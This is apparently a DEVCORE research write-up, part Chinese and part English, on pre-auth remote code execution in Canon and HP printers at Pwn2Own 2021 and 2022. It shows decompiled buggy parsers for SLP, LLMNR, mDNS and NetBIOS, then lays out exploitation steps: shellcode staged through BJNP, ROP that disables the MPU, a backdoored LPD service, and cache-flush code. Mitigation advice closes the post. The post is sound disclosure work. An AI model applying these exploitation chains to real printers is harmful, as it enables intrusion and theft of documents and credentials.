在解出 firmware 之後,必須找出 firmware 的 image base address,IDA 才能有效地辨別跟 reference。此處可透過常見的分析工具 rbasefind來找 image base。

一開始找出的 base 為 0x40b0000,但丟進 IDA 後,卻發現大部分的函式debug message的字串對映不起來。

如上圖所示,loc_4489AC08應該指向函式名稱的字串,然而此地址卻不是正常的字串,而是被當成 code 區段,內容也不是字串,表示此位置並非真正位置,而是有些許的偏移,但正常 function 的解析沒甚麼太大問題。這邊可以先找一個已知函式名稱的函式和找到屬於他的函式名稱字串來做調整,找到其中差異的 offset 後,將 image base 調到正確位置就可以了。最終找到的 image base 為 0x40affde0。調整完後,可看到原本的函式已可正確識別函式名稱。

接下來就可以正常分析 firmware,而初步分析後可得知,Canon ImageCLASS MF644Cdw 架構如下

  • OS - DryOSV2
    • Customized RTOS by Canon
  • ARMv7 32bit little-endian
  • Linked with application code into single image
    • Kernel
    • Service

HP

HP 的 firmware 取得相對容易許多,我們可以透過 binwalk -Z來獲得正確的 firmware,約略需要花 3-4 天左右的時間,而其他找 image base address 等步驟,則與 Canon 相同,此處就不贅述。經過初步分析後,HP Color LaserJet Pro MFP M283fdw 架構如下

  • OS
    • RTOS - Modify from ThreadX/Green Hills
  • ARM11 Mixed-endian
    • Code - little-endian
    • Data - Big-endian

Attack Surface

在現今市面上大多數的多功能事務機中,預設都會開啟一堆服務

ServicePortDescription
RUITCP 80/443Web interface
PDLTCP 9100Page Description Language
PJLTCP 9100Printer Job Language
IPPTCP 631Internet Printing Protocol
LPDTCP 515Line Printer Daemon Protocol
SNMPUDP 161Simple Network Management Protocol
SLPTCP 427Service Location Protocol
mDNSUDP 5353Multicast DNS
LLMNRUDP 5355Link-Local Multicast Name Resolution

一般來說,為了方便管理,通常都會開 RUI (web 介面) ,再來是 9100 Port 也是印表機常使用的 Port,主要會用來傳輸列印的資料。其他部分則會依照廠商不同而有所不同,不過上述所列的服務通常都會有,且預設大部分都是開啟的。在評估過這些服務後,決定注重在發現服務及 DNS 系列的協定,因為我們的長期經驗下來,常常觀察到 vendor 在開發這些服務時,往往是自行開發實作,而不是使用存在已久的 Open Source。但實際上來說,實作這些協定很容易出現問題的。我們當時主要分析的服務主要有 SLPmDNSLLMNR

接下來就以 Pwn2Own Austin 2021 作為 Case Study,來看看這些協定常會有哪些問題。

Hacking printers at Pwn2Own

Canon

Service Location Protocol

SLP 是一種服務發現協定,主要用於讓電腦快速找到印表機,過去在 ESXI 中,SLP 也常常出問題,而在 Canon 的 SLP 服務,主要由 Canon 自己實作,SLP 服務細節可參考 RFC2608。在我們分析 SLP 前必須先了解 SLP 封包大致上的結構

圖: SLP Packet Structure

這邊只需要關注function-id,此欄位會決定請求型態,也會決定 payload 部分的格式。而 Canon 只有實作 Service Request 及 Attribute Request 兩種。

在 Attribute Request (AttrRqst) 的請求中,允許使用者可以根據 service 及 scope 來獲得 attribute list。 scope 可以定義要找的範圍,如 canon 印表機。

Example:

而 Attribute request 結構大致如下

主要是長度(Length)及數值(Value)的組合,通常在 Parse 這種格式,很容易出問題,需要特別注意,而實際上 Canon 在 Parse 這個結構時就出了問題。

Vulnerability

Canon 在 parse scope list 時,會將跳脫字元轉換成 ASCII,例如 \41會轉換成 A,然而這個簡單轉換會有怎樣的問題呢? 我們來看一下 Pseudo code

intparse_scope_list(...){chardestbuf[36];unsignedintmax=34;parse_escape_char(...,destbuf,max);}

如上面程式碼所示,在 parse_scope_list中,會先分配 36 bytes 的 destbuf並且指定最大大小 34 到 parse_escape_char中,這邊沒甚麼問題,讓我們來看一下 parse_escape_char

int__fastcallparse_escape_char(unsigned__int8**pdata,_WORD*pdatalen,unsigned__int8*destbuf,_WORD*max){unsignedintidx;// r7intv7;// r9intv8;// r8interror;// r11unsigned__int8*v10;// r5unsignedinti;// r6intv12;// r1intv13;// r0unsignedintv14;// r1boolv15;// ccintv16;// r2boolv17;// ccunsigned__int8v18;// r0intv19;// r0unsigned__int8v20;// r0unsignedintv21;// r0unsignedintv22;// r0idx=0;v7=0;v8=0;error=0;v10=*pdata;for(i=(unsigned__int16)*pdatalen;i&&!v7;i=(unsigned__int16)(i-1)){v12=*v10;if(v12==','){if(i<2)return-4;v7=1;}else{if(v12=='\\')//----------------------[1]{if(i<3)return-4;v13=v10[1];v14=v13-'0';v15=v13-(unsignedint)'0'>9;if(v13-(unsignedint)'0'>9)v15=v13-(unsignedint)'A'>5;if(v15&&v13-(unsignedint)'a'>5)return-4;v16=v10[2];v17=v16-(unsignedint)'0'>9;if(v16-(unsignedint)'0'>9)v17=v16-(unsignedint)'A'>5;if(v17&&v16-(unsignedint)'a'>5)return-4;if(v14<=9)v18=0x10*v14;elsev18=v13-0x37;if(v14>9)v18*=0x10;*destbuf=v18;//-------------------[2]v19=v10[2];v10+=2;v20=(unsignedint)(v19-0x30)>9?(v19-55)&0xF|*destbuf:*destbuf|(v19-0x30)&0xF;*destbuf=v20;LOWORD(i)=i-2;if(!strchr((int)"(),\\!<=>~;*+",*destbuf)){v21=*destbuf;if(v21>0x1F&&v21!=0x7F)return-4;}gotoLABEL_40;}if(strchr((int)"(),\\!<=>~;*+",v12))//-----------------------[3]return-4;v22=*v10;if(v22<=0x1F||v22==0x7F)return-4;if(v22!=''){v8=0;gotoLABEL_35;}if(!v8){v8=1;LABEL_35:if((unsigned__int16)*max<=idx)//----------------------[4] {error=1;gotonext_one;}if(v8)LOBYTE(v22)=32;*destbuf=v22;LABEL_40:++destbuf;idx=(unsigned__int16)(idx+1);}}next_one:++v10;}if(error){*max=0;debugprintff(3645,4,"Scope longer than buffer provided");LABEL_48:*pdata=v10;*pdatalen=i;return0;}if(idx){*max=idx;gotoLABEL_48;}return-4;}

可以看到 [3]針對是沒有跳脫字元的處理,會在 [4]檢查是否有超過最大長度,然而在有跳脫字元的處理中 [1],並沒有任何對長度的檢查,直接將轉換後的結果放到 destatation buffer 中 [2],一旦給定的字串多數為跳脫字元的情況,就會造成 stack overflow。

在找到漏洞之後,第一件事就是先看看本身有甚麼保護,方便後續的利用。但分析了一下發現,Canon 印表機本身並沒有任何記憶體相關的保護。

Protection

  • No Stack Guard
  • No DEP
  • No ASLR

沒有 Stack Guard、沒有 DEP 也沒有 ASLR,可以說是 hack friendly ! 如同回到 90 年代,一個 stack overflow 就可以打天下。接下來就如同過往的 Binary Exploitation 利用手法,找個地方放 shellcode 再覆蓋 return address 跳到 shellcode 就會有任意程式碼執行了! 最終我們找到了 BJNP 這個服務來放我們的 shellcode。

BJNP

BJNP 本身也是個服務發現協定,由 Canon 自己所設計,過去也曾經有許多漏洞,Synacktiv也曾經利用該協定漏洞來獲得印表機控制權,這邊不多做細節上的介紹,更多細節可參考這篇,我們也用了類似的手法。 BJNP 本身會將可控的 session 資料放在已知的 global buffer 中,我們可用這個功能來將我們的 shellcode 放到一個固定的位置上,基本上也沒甚麼限制。

我們重新整理一下利用步驟

Exploitation Step

  • 使用 BJNP 將我們的 shellcode 放到固定的已知位置。
  • 觸發 SLP 的 stack overflow 並覆蓋 return address
  • 跳到我們的 shellcode 上執行程式碼。

Pwn2Own Austin 2021

通常 Pwn2Own 中會需要你證明已打下印表機,這邊可以自由選擇呈現方式,我們起初想要的是如同我們 exploit Lexmark 印表機一樣,直接將 logo 放到印表機的 LCD 螢幕上。

但在比賽前,我們花了很多時間在研究該怎麼把 logo 印到螢幕上,花在這邊時間可能比找洞跟寫 exploit 時間還要長,最後也因為時間上的因素,採取了比較保險的做法,直接改掉 Service Mode字串,再印到螢幕上。

不過實際上印圖片到螢幕上並不難,其他隊伍有找到方法,有興趣的人可以嘗試看看。

Debug

看到這邊可能會有人想問這種環境如何 debug,實際上來說要 debug 通常有幾種方法:

  • 接上硬體獲得 debug console 後,用裡面的功能來 debug
  • 用舊的洞獲得程式碼執行後,裝上客製的 debugger

不過我們當時已更新到最新,該版本不存在舊的漏洞,需要降版本回去,而拆解硬體同樣也須額外的時間,但當時我們已經有漏洞了,時間上來說不太合成本。最後我們還是採用最傳統的 sleep debug 法去 debug。

在 ROP 或執行 shellcode 後,將結果印到網頁或其他可見的地方,然後呼叫 sleep 後,就可從網頁或其他讀出結果,最後再重開機,接下來就是不斷重複此流程。不過實際上更好的做法還是接上 debug console 會方便一點。

接下來講講 HP 印表機

HP

LLMNR是與 mDNS 非常相似的一個協定,提供了區網中的域名解析功能,但比 mDNS 更單純一點,通常也會配合一些服務發現協定。這邊簡單介紹此機制:

在區網域名解析時,Client A 會先用 multicast 方式,尋找區網中 Client C 位置

在 Client C 接收到之後,則會回傳給 Client A,簡單實現了區網域名的解析

而基本上 LLMNR 大多建立在 DNS 封包格式上,格式如下:

主要會是 header 加上 Queries 這種格式,Count 表示不同型態的 query 數。

而每個 DNS Query 都是由許多 label 組成,每個 label 都會像上圖中這樣,都是長度加上字串的組合,也有 Message Compression機制,過去在處理這些地方時,非常容易出現問題,在 BlackHat 2021 的 THE COST OF COMPLEXITY:Different Vulnerabilities While Implementing the Same RFC中,也提到了類似的問題。

Vulnerability

我們回頭來看一下 HP 的實作:

intllmnr_process_query(...){charresult[292];consume_labels(llmnr_packet->qname,result,...);...}

這邊可以看到 HP 在處理 LLMNR 封包時,會將一個固定 buffer 傳入,用來放處理後的結果,而 consume_lables 則是主要用來處理 dns labels。

int__fastcallconsume_labels(char*src,char*dst,llmnr_hdr*a3){intv3;// r5intv4;// r12unsignedintlen;// r3intv6;// r4charv7;// r6boolv8;// ccintv9;// r0unsigned__int8chr;// r6intresult;// r0v3=0;v4=0;len=0;v6=0;while(1){chr=src[v3];//-------------[1]if(!chr)break;if((int)len<=0){v8=chr<=0xC0u;if(chr==0xC0){v9=src[v3+1];v6=1;v3=0;src=(char*)a3+v9;}else{len=src[v3++];v8=v4<=0;}if(!v8)dst[v4++]='.';}else{v7=src[v3++];len=(char)(len-1);dst[v4++]=v7;//----------[2]}}result=v3+1;dst[v4]=0;if(v6)return2;returnresult;}

而在 consume_labels 中的 [1]會先取得 label 長度,接著根據型態去處理,而在[2]則是處理一般長度的情況,此處並沒有對長度做檢查,就直接將 label 寫進 dst buffer 中,導致了 stack overflow,到此處我們原以為差不多結束了,接下來應該如同 Canon 類似的方法就可以 Exploit 了。然而當我們在寫 Exploit 時發現 HP 比 Canon 多了一些保護機制。

Protection

  • No Stack Guard
  • XN(DEP)
  • Memory Protect Unit (MPU)
  • No ASLR

在 HP 印表機中,多了 XN 及 MPU 的記憶體保護措施,另外這個漏洞也有了更多的限制。我們只能 overflow 約 0x100 bytes不能有 null 字元,這大幅限制了我們的 ROP,使得我們沒辦法單靠 ROP 做到後續行動,需要另外找其他的漏洞或其他方法才能達成我們的目標。在一段時間後,我們開始思考,HP 印表機是如何去實作 XN(DEP)MPU的? 我們回顧一下 HP RTOS:

  • 所有 Service code 及 Kernel Code 都在同一個 Binary 中。
  • 大多數的 task 都跑在同一個記憶體空間底下(沒有 Process isolation),也幾乎都跑在高權限模式

看完以上兩點,會想到是不是理解 HP RTOS 中的 MMU 及 MPU 就可以繞過呢?

我們來看一下 HP RTOS MMU 機制

MMU in HP M283fdw

在 HP M283fdw 中使用的是一階層的 Translation table 來做 Address translation ,每個 translation table entry 都表示 1MB 的 Section,而 Translation table 則是固定在 0x4003c000這個位置上

而每個 translation table entry 都會對應到 physical address 及該 section 的權限,CPU 就是根據這些內容決定執行權限、記憶體內容修改權限,如果我們可以修改 translation table entry 的內容就可以更改記憶體權限,也可以透過它來 Mapping 任意 Physical address,這邊跟權限有關的主要會有 AP APX 跟 XN。

我們可以從前述的漏洞中注意到,在有 stack overflow 且也跑在高權限下,就可通過 ROP 修改 translation table entry,但當我們對嘗試直接對 translation table 做寫入後,結果

造成印表機 Crash,查了一下發現是 memory fault exception,主要造成原因就是因為 Memory Protect Unit (MPU) 有對該記憶體區段做保護。

好,那我們就來看看 MPU 的機制。

MPU in HP M283fdw

MPU主要功能是把 memory 拆分成好幾個 region 並定義每個 region 的權限,與 MMU 是完全不同的機制,很常出現在 IoT 設備中。 HP 則是在開機就會啟用,並將每個 region 定義好權限,因此無法自己操作 page table。

在長時間逆向及參考 ARM Manual之後,我們發現事實上只要清空 MPU_CTRL 就可關閉 MPU,在經過逆向後 HP M283fdw 的 MPU_CTRL 位置是在 0xE0400304,這邊稍微跟 ARM 的 spec 有點不同,不太確定原因就是了。

Exploitation

在了解 HP 的 MMU 及 MPU 機制後,我們可輕易地利用 ROP 來關閉 MPU,並成功修改 translation table entry,我們可以任意的修改任何 serivce 的程式碼,這邊我們最後選擇了 Line Printer Daemon(LPD)這個服務來修改,將它修改成後門: 讀入更多的 Payload 到指定的位置上,最終執行我們送過去的 shellcode。

但有一點必須特別注意,覆蓋完 translation table entry 跟 LPD 的 code 後,務必要 flush TLB清掉 I-cache 和 D-cache不然很有可能還是跑在舊有的程式碼上面導致 exploit 失敗。

Flash TLB

flush_tlb:
    mov r12, #0
    mcr p15, 0, r12, c8, c7, 0

Invalidate I-cache

disable_icache:
    mrc p15, 0, r1, c1, c0, 0
    bic r1, r1, #(1 << 12)
    mcr p15, 0, r1, c1, c0, 0

我們重新整理了一下利用步驟

Exploitation Step

  • 首先先觸發 LLMNR 的 stack overflow
  • 利用有限的 ROP 關閉 MPU
  • 利用 ROP 改掉 translation table entry 獲得讀寫執行權限
  • Flush TLB
  • 改掉 LPD service 的程式碼
  • 清掉 I-cache 和 D-cache
  • 使用改過的 LPD 讀我們的 shellcode 後並執行

Pwn2Own Austin 2021

到可以執行 shellcode 時,我們只剩一週時間,我們最後選擇跟 Canon 一樣使用改字串顯示 Pwned by DEVCORE到 LCD 上。

而幸運的是,我們第一次嘗試就成功了:)

在這之後我們也嘗試了直接把後門改成 debug console 上面,方便利用許多功能,例如查看記憶體資訊,播放音樂等等功能,F-Secure Labs在比賽時就使用播放音樂這個功能來呈現,非常有趣,可以到這裡看當時的情況。

Result

在 Pwn2Own Austin 2021 中,我們打下其他設備跟印表機後最終獲得了第二名,以這次來說獲得不錯經驗,也學到了一些新東西。

而對於一般用戶們,有什麼方法可以避免印表機被當作攻擊目標甚至是跳板呢?

Mitigation

Update

首先就是定期更新,上述的印表機都已有 patch,這邊是很常被大家忽略的一部分,我們很常看到印表機好幾年了都沒更新,甚至直接預設密碼放著,很容易就被當成目標。

Disable unused service

另外一點就是盡可能關掉沒在用的服務, 大部分的印表機預設開啟過多平常根本不會用的服務,我們甚至認為可以關掉 discovery 服務,只要開你要用的就好了。

Firewall

更好的做法可以再加上 firewall,大部分印表機也都有提供相關功能。

Summary

事實上,我們獲得 shellcode 執行後,除了印東西在 LCD 外,我們可以藉由印表機來竊取機密資訊,不論是機密文件或是一些 credential,印表機也是個平行移動 (Lateral Movement) 的點,而且很難被偵測到,是紅隊中非常好的目標。另外很多印表機上的發現服務系列的協定或是 DNS 系列的協定很常出問題,如果想找類似印表機或其他 IoT 設備的漏洞,也許可以優先朝這個方向看看。

To be continue

最後,我們在去年 Pwn2Own Toronto 2022中,也在印表機系列中找到幾個漏洞,我們也將會在近期發佈詳細資訊,敬請期待 Part II

Reference

Your printer is not your printer ! - Hacking Printers at Pwn2Own Part II

$
0
0

English Version, 中文版本

Hacking Printers at Pwn2Own Toronto 2022

Based on our previous research, we also discovered Pre-auth RCE vulnerabilities((CVE-2023-0853CVE-2023-0854) in other models of Canon printers. For the HP vulnerability, we had a collision with another team. In this section, we will detail the Canon and HP vulnerabilities we exploited during Pwn2own Toronto.

  • Pwn2Own Toronto 2022 Target
TargetPriceMaster of Pwn Points
HP Collor LaserJet Pro M479fdw$200002
Lexmark MC3224i$200002
Canon imageCLASS MF743Cdw$200002

Analysis

Canon

Firmware Extract

Same as 2021, you can refer to Part I. The current version is v11.04.

HP

The firmware can be obtained from HP’s official website. However, unlike in 2021, it cannot be directly extracted using binwalk. The firmware is encrypted with AES, and it’s hard to decrypt directly from the information.

At first, our thought was to look for the firmware of the same series to see if there was an unencrypted version. However, there was no such firmware on HP’s official website that met our criteria. We initially considered tearing down the printer to dump the firmware, but during our search on Google, we stumbled upon an older mirror site. This site enabled directory listing, allowing us to access all the firmware stored on that mirror website.

However, the problem was that the mirror site only mirrored up to 2016 and didn’t have the latest information. Still, we later managed to glean the official directory structure from the website information, which helped us to obtain an unencrypted firmware from a similar series.”

After our analysis, we found decryption-related information in the Firmware from fwupd. By reverse engineering, we were able to identify the encryption method and the Key. We can use the key to decrypt the target version of the Firmware.

HP Collor LaserJet Pro M479fdw

  • OS - Linux Base
  • ARMv7 32bit little-endian

Vulnerability & Exploitation

Canon

mDNS (CVE-2023-0853)

We found a stack overflow on mDNS. mDNS protocol resolves hostnames to IP address within small networks that do not include a local name server and are usually used for Apple and IoT devices.

It is enabled on Canon ImageCLASS MF743Cdw(Version 11.04) by default.

Before we look at the detail of the vulnerability we need to talk about mDNS Packet Structure.

mDNS is based on the DNS packet format defined in RFC1035 Section 4 for both queries and responses. mDNS queries and responses utilize the DNS header format defined in RFC1035 with exceptions noted below:

The packet format:

    +---------------------+
    |        Header       |
    +---------------------+
    |       Question      | the question for the name server
    +---------------------+
    |        Answer       | RRs answering the question
    +---------------------+
    |      Authority      | RRs pointing toward an authority
    +---------------------+
    |      Additional     | RRs holding additional information
    +---------------------+
(diagram from https://www.ietf.org/rfc/rfc1035.txt)

The header contains the following fields:

                                    1  1  1  1  1  1
      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      ID                       |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    QDCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ANCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    NSCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ARCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
(diagram from https://www.ietf.org/rfc/rfc1035.txt)

The answer section contains RRs that answer the question.

Resource record format:

                                    1  1  1  1  1  1
      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                                               |
    /                                               /
    /                      NAME                     /
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TYPE                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                     CLASS                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TTL                      |
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                   RDLENGTH                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--|
    /                     RDATA                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
(diagram from https://www.ietf.org/rfc/rfc1035.txt)

The RDATA section varies depending on the ‘type’. When type=NSEC, its format is as follows:

   The RDATA of the NSEC RR is as shown below:

                        1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   /                      Next Domain Name                         /
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   /                       Type Bit Maps                           /
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
(diagram from https://www.ietf.org/rfc/rfc4034.txt)

More details can reference to RFC6762.

Other element is not important in this vulnerability, so we won’t explain more here. More detail can be found at RFC6762, RFC1035 and RFC4034.

Where is the bug

When Canon ImageCLASS MF743Cdw is parsing the Answer field (type NSEC) in mDNS header, there is a stack overflow.

In the function bnMdnsParseAnswers, it will parse answer section.

int__fastcallbnMdnsParseAnswers(netbios_header*mdns_packet,unsignedint*ppayloadlen,netbios_header*pmdns_header,_WORD*anwser_rr,rrlist**payload,_DWORD*pinfo){...charnsec_buf[256];// ------ fixed size on the stack..._mdns_packet=(int)mdns_packet;p_payloadlen=ppayloadlen;p_mdns_header=pmdns_header;anwser_cnt=anwser_rr;v66=0;cur_ptr=&mdns_packet->payload[*pinfo];v9=*payload;v10=*payload;do{v11=v10==0;if(v10){v9=v10;v10=(rrlist*)v10->c;}else{v6=aBnmdnsparseans;v10=0;v67=0;}}while(!v11);while((unsigned__int16)*anwser_cnt>v67){...if...type=(unsigned__int16)pname->type;if(type==28)gotoLABEL_36;if...if...if(type!=0x21){if(type!=47)// NSEC{...gotoLABEL_95;}v62=0;v63=0;zeromemory(nsec_buf,256,v19,v20);v47=bnMdnsMalloc(8);rrlist->pname->nsec=v47;if(!v47){bnMdnsFreeRRLIST((int)rrlist);v50=2720;LABEL_76:debugprintff(3610,3,"[bnjr] [%s] <%s:%d> bnMdnsParseAnswers error in malloc(NSEC)\n","IMP/mdns/common/tcBnMdnsMsg.c",v6,v50);return3;}maybe_realloc(v47,8);nsec=rrlist->pname->nsec;nsec_len=bnMdnsGetDecodedRRNameLen(cur_ptr,*ppayloadlen,(char*)_mdns_packet,&dwbyte);if...if...v51=(_BYTE*)bnMdnsMalloc(nsec_len);*(_DWORD*)nsec=v51;if...consume_label(cur_ptr,*ppayloadlen,_mdns_packet,v51,nsec_len);v52=dwbyte;v53=&cur_ptr[dwbyte];v54=*ppayloadlen-dwbyte;*ppayloadlen=v54;v55=(unsigned__int8)v53[1];v56=(unsigned__int8)*v53;nsec_=v53+2;*ppayloadlen=v54-2;v57=v56|(v55<<8);nsec_len_=__rev16(v57);if...memcpy((int)nsec_buf,nsec_,nsec_len_,v57);//-------- [1]  stack overflow for(i=0;i<(int)nsec_len_;++i){if(nsec_buf[i]){for(j=0;j<8;++j){if(1<<j==(unsigned__int8)nsec_buf[i]){if(v62)v63=7-j+8*i;elsev62=7-j+8*i;}}}}*(_WORD*)(nsec+4)=v62;...}*pinfo=&cur_ptr[-_mdns_packet-0xC];*anwser_cnt-=v66;return0;}}

When it is parsing the NSEC(type 47) record, it does not check the length of the record. It will copy the data to a local buffer(nsec_buf[256]) at [1], which leads to a stack buffer overflow.

Exploitation

We can construct an mDNS packet to trigger the stack overflow. It does not have Stack Guard, so we can overwrite the return address directly. It also does not implement DEP. We can overwrite the return address with a global buffer which we can control to run our shellcode.

We finally chose BJNP session buffer as our target. It will copy our payload when we start a BJNP session.

We can run shellcode to do anything, such as modifying the website, changing the LCD screen, etc.

NetBIOS (CVE-2023-0854)

We found a heap overflow on NetBIOS. NetBIOS is a protocol for Network Basic Input/Output System. It provides services related to the session layer of the OSI model allowing applications on separate computers to communicate over a local area network. . Canon implemented the NetBIOS daemon by themselves.

It is enabled on Canon ImageCLASS MF743Cdw(Version 11.04) by default.

NetBIOS provides three distinct services:

  • Name service (NetBIOS-NS) for name registration and resolution.
  • Datagram distribution service (NetBIOS-DGM) for connectionless communication.
  • Session service (NetBIOS-SSN) for connection-oriented communication.

We will focus on NetBIOS-NS (port 137).

Before we look at the detail of the vulnerability we need to talk about NetBIOS-NS Packet Structure.

NetBIOS-NS is based on the DNS packet format. It is defined in RFC1002 for both queries and responses. NetBIOS queries and responses utilize the NS header format defined in RFC1002 with exceptions noted below:

                        1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |         NAME_TRN_ID           | OPCODE  |   NM_FLAGS  | RCODE |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          QDCOUNT              |           ANCOUNT             |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          NSCOUNT              |           ARCOUNT             |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
(diagram from https://datatracker.ietf.org/doc/html/rfc1002)

The query will be placed after the header. The first element is QNAME which is a domain name represented as a sequence of labels, where each label consists of a length character followed by that number of characters. Other element is not important in this vulnerability, so we won’t explain more here. More details can be found at RFC1002.

Where is the bug

When Canon ImageCLASS MF743Cdw is parsing the NetBIOS in NetBIOS packets, there is a heap overflow. The vulnerability is in cmNetBiosParseName function. We can trigger it from ndNameProcessExternalMessage.

When NetBIOS service starts, it will initial netbios_ns_buffer. The buffer would be allocated 0xff bytes from the heap.

intndNameInit(){sub_41C47A20((int)"netcifsnqendapp/IMP/nq/ndnampro.c",0x44ED3194,97,0x64u);netbios_ns_buffer=calloc(1,0xFF);...return-1;}

When parsing the NetBIOS-NS in NetBIOS packets, it will use ndNameProcessExternalMessage to process it.

int__fastcallndNameProcessExternalMessage(Adapter*a1){netbios_header*packet;// r0unsigned__int8*v3;// r6intflag;// r0intv5;// r5intv6;// r0intv8;// r4charnbname[40];// [sp+8h] [bp-28h] BYREFsub_41C47A20((int)"netcifsnqendapp/IMP/nq/ndnampro.c",0x44ED31AC,178,0x64u);packet=(netbios_header*)a1->packet;LOWORD(a1->vvv)=LOBYTE(packet->id)|(HIBYTE(packet->id)<<8);v3=cmNetBiosParseName(packet,(unsigned__int8*)packet->payload,(int)nbname,netbios_ns_buffer,0xFFu);//---- [1]//heap overflow at netbios_ns_buffer  if...flag=getname_query_flag((netbios_header*)a1->packet);v5=flag;if(flag==0xA800){v6=ndInternalNamePositiveRegistration(a1,(int)nbname,(int)v3);gotoLABEL_17;}if(flag>0xA800){switch(flag){case0xA801:v6=ndInternalNameNegativeRegistration(a1,(int)nbname);gotoLABEL_17;...}gotoLABEL_14;}...ndInternalNameNegativeQuery((int)a1,(int)nbname);v6=ndExternalNameNegativeQuery((int)a1,nbname);LABEL_17:v8=v6;assset("netcifsnqendapp/IMP/nq/ndnampro.c",0x44ED31AC,238,100);returnv8;}

At [1], the function cmNetBiosParseName does not calculate the length of the domain name correctly. It will copy the domain name to netbios_ns_buff, which leads to a heap overflow.

Let’s take a look at cmNetBiosParseName function.

unsigned__int8*__fastcallcmNetBiosParseName(netbios_header*netbios_packet,unsigned__int8*netbios_label,intnetbios_name,_BYTE*domain_name,unsignedintmaxlen){charv5;// r9unsigned__int8*v11;// r0_BYTE*v12;// r1unsignedinti;// r0charv15;// r3charv16;// r2intv17;// r0unsigned__int8*v18;// r0unsignedintv19;// r3char*label_;// r0unsignedintlabellen_;// r4unsignedintlabellen;// t1char*v23;// r5unsigned__int8*next[9];// [sp+4h] [bp-24h] BYREF...if(*v11==0x20){...v17=*next[0];if(*next[0])v5='.';else*domain_name=0;if(v17){do{v18=resolveLabel(netbios_packet,next);labellen=*v18;label_=(char*)(v18+1);labellen_=labellen;if(maxlen>labellen){memcpy((int)domain_name,label_,labellen_,v19);v23=&domain_name[labellen_];maxlan-=labellen_;// ---------- [2]              // it does not subtract the length of "."*v23=v5;domain_name=v23+1;}}while(*next[0]);*(domain_name-1)=0;}assset("netcifsnqecorelib/IMP/nq/cmnbname.c",0x44A86D7C,634,100);returnnext[0]+1;}else{logg("netcifsnqecorelib/IMP/nq/cmnbname.c",0x44A86D7C,595,10);return0;}}

The function cmNetBiosParseName will parse the domain from the label in the NetBIOS packet to the domain_name buffer and it has a verification. The verification will check that the total length of the label could not larger than maxlen, and a "." will be added between each label. But it does not subtract the length of "." characters so that the total length of the label can be larger than maxlen. It will lead to overflow.

Exploitation

Luckily, there is a useful structure nb_info to achieve our goal. We can use the heap overflow to overwrite the structure of nb_info.

The layout of heap memory:

The structure of nb_info and Adapter:

structnb_info{intactive;charnbname[16];intx;inty;shortz;shortsrc_port;shorttid;shortw;Adapter*adapter;char*ptr;intstate;...}

The structure is used to store NetBIOS name information, it also has a member Adapter to store the information of connection.

structAdapter{intidx;_BYTEgap0[16];intx;intfd_1022;intfd_1023;inty;_WORDsrc_port;_DWORDsrc_ip;intvvv;intpacket;_DWORDrecv_bytes;char*response_buf;_DWORDdword3C;};

Let’s back to ndNameProcessExternalMessage, if the flag of NetBIOS-NS packet is set to 0xA801, it will use ndInternalNameNegativeRegistration to process our NetBIOS name. The result will be written to Adapter->responsebuf.

case0xA801:v6=ndInternalNameNegativeRegistration(a1,(int)nbname);gotoLABEL_17;

At ndInternalNameNegativeRegistration :

int__fastcallndInternalNameNegativeRegistration(Adapter*adapter,inta2){...if(v8){returnNegativeRegistrationResponse((nb_info*)v6,adapter,3);}...}

If the conditions are met, it will use ‘returnNegativeRegistrationResponse’ to handle the Response.

